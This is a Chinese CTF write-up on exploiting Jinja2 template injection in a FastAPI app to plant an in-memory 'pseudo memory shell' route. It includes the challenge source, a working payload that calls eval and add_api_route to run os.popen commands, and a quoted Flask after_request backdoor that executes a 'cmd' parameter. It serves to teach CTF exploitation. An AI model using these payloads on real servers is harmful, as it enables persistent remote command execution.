从一道题学习FastAPI伪内存马
真爱和自由 发表于 四川 CTF 662浏览 · 2024-08-17 12:47

主要是根据巅峰极客2024GoldenHornKing

首先进入题目给出了源码

import os
import jinja2
import functools
import uvicorn
from fastapi import FastAPI
from fastapi.templating import Jinja2Templates
from anyio import fail_after

# jinja2==3.1.2
# uvicorn==0.30.5
# fastapi==0.112.0

def timeout_after(timeout: int = 1):
    def decorator(func):
        @functools.wraps(func)
        async def wrapper(*args, **kwargs):
            with fail_after(timeout):
                return await func(*args, **kwargs)
        return wrapper
    return decorator

app = FastAPI()
access = False

_base_path = os.path.dirname(os.path.abspath(__file__))
t = Jinja2Templates(directory=_base_path)

@app.get("/")
@timeout_after(1)
async def index():
    return open(__file__, 'r').read()

@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str):
    global access
    if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
        return "bad char"
    else:
        result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render(
            {"app": app})
        access = True
        return result  # 返回计算结果
    return "fight"

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8000)

我们可以看到是一个基于FastAPI 的简单 Web 应用

一共两个路由,根目录就是返回我们的源码

/calc 路由 (ssti 函数):接收一个字符串参数 calc_req,然后会有一个waf吧,首先不能有数字,然后%也被禁用了,弹shell是不需要思考了的

然后将其作为模板字符串通过 Jinja2 进行渲染

但是没有返回我们的渲染结果,而且渲染完成后还要把我们的access设置为True,意为着

后续的 /calc 请求将被拒绝,返回 "bad char"

那相当于我们只有一次机会,其实种种特征都是在暗示我们打python的内存马

以前是学过flask的内存马的,基本的构造逻辑还是知道的,添加路由,构造处理方法,解决传参问题,构造回显

其实仿照我们的flask内存马思路,我们寻找可以添加路由的函数

可以发现还是挺多的,我们仔细看看

add_route

def add_route(
    self,
    path: str,
    route: typing.Callable[[Request], typing.Awaitable[Response] | Response],
    methods: list[str] | None = None,
    name: str | None = None,
    include_in_schema: bool = True,
)

path都明白,然后处理方法应该就是我们的

route,但是有个问题,就是这个route还需要Request和Response,我是翻了半天没有翻到的

然后就是我们的add_api_route

def add_api_route(
        self,
        path: str,
        endpoint: Callable[..., Coroutine[Any, Any, Response]],
        *,
        response_model: Any = Default(None),
        status_code: Optional[int] = None,
        tags: Optional[List[Union[str, Enum]]] = None,
        dependencies: Optional[Sequence[Depends]] = None,
        summary: Optional[str] = None,
        description: Optional[str] = None,
        response_description: str = "Successful Response",
        responses: Optional[Dict[Union[int, str], Dict[str, Any]]] = None,
        deprecated: Optional[bool] = None,
        methods: Optional[List[str]] = None,
        operation_id: Optional[str] = None,
        response_model_include: Optional[IncEx] = None,
        response_model_exclude: Optional[IncEx] = None,
        response_model_by_alias: bool = True,
        response_model_exclude_unset: bool = False,
        response_model_exclude_defaults: bool = False,
        response_model_exclude_none: bool = False,
        include_in_schema: bool = True,
        response_class: Union[Type[Response], DefaultPlaceholder] = Default(
            JSONResponse
        ),
        name: Optional[str] = None,
        openapi_extra: Optional[Dict[str, Any]] = None,
        generate_unique_id_function: Callable[[routing.APIRoute], str] = Default(
            generate_unique_id
        )

重点的参数就是path和endpoint

Callable[..., Coroutine[Any, Any, Response]]:这个类型提示表示 endpoint 应该是一个可以被调用的对象,它返回一个协程对象,该协程最终会产生一个 Response 对象。

那其实就是一个正常的函数逻辑,我们还是按照flask的内存马,设置一个匿名的函数

现在的问题就是获取app了

其实emm获取的方法太多了,首先获取global才是当务之急,我们知道这是一个jinja2,那就很多了比如我们的

namespace.__init__.__globals__

然后获取app,就是先获取我们的main

main是模块里面的,先获取moudle,然后moudle又可以从sys获取

namespace.__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].app")

然后就是写添加路由的逻辑和代码了

paylaod如下

namespace.__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].app.add_api_route(path='/lll',endpoint=lambda :__import__('os').popen('whoami').read())")

可以看到成功

但是有个缺点就是不能很自由的输入参数,然后我去挖掘了很久,没有什么收获

我的思路是这样的,要么我去找到这个对应的request对象,然后控制参数,或者我能控制这个response对象,让他返回的内容是固定的

类似于我看到过的一个paylaod

(app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec('global CmdResp;CmdResp=__import__(\'flask\').make_response(os.popen(request.args.get(\'cmd\')).read())')==None else resp))

然后我找了好久的request对象都没有找到,当然是找到了一些没有作用的

后来想过

("import('request')")

直接引入,但是思考后觉得不可以,因为我的request是当前这个请求的request,不随便引入就能解决的,最后也没有办法

1 条评论
某人
表情
可输入 255
目录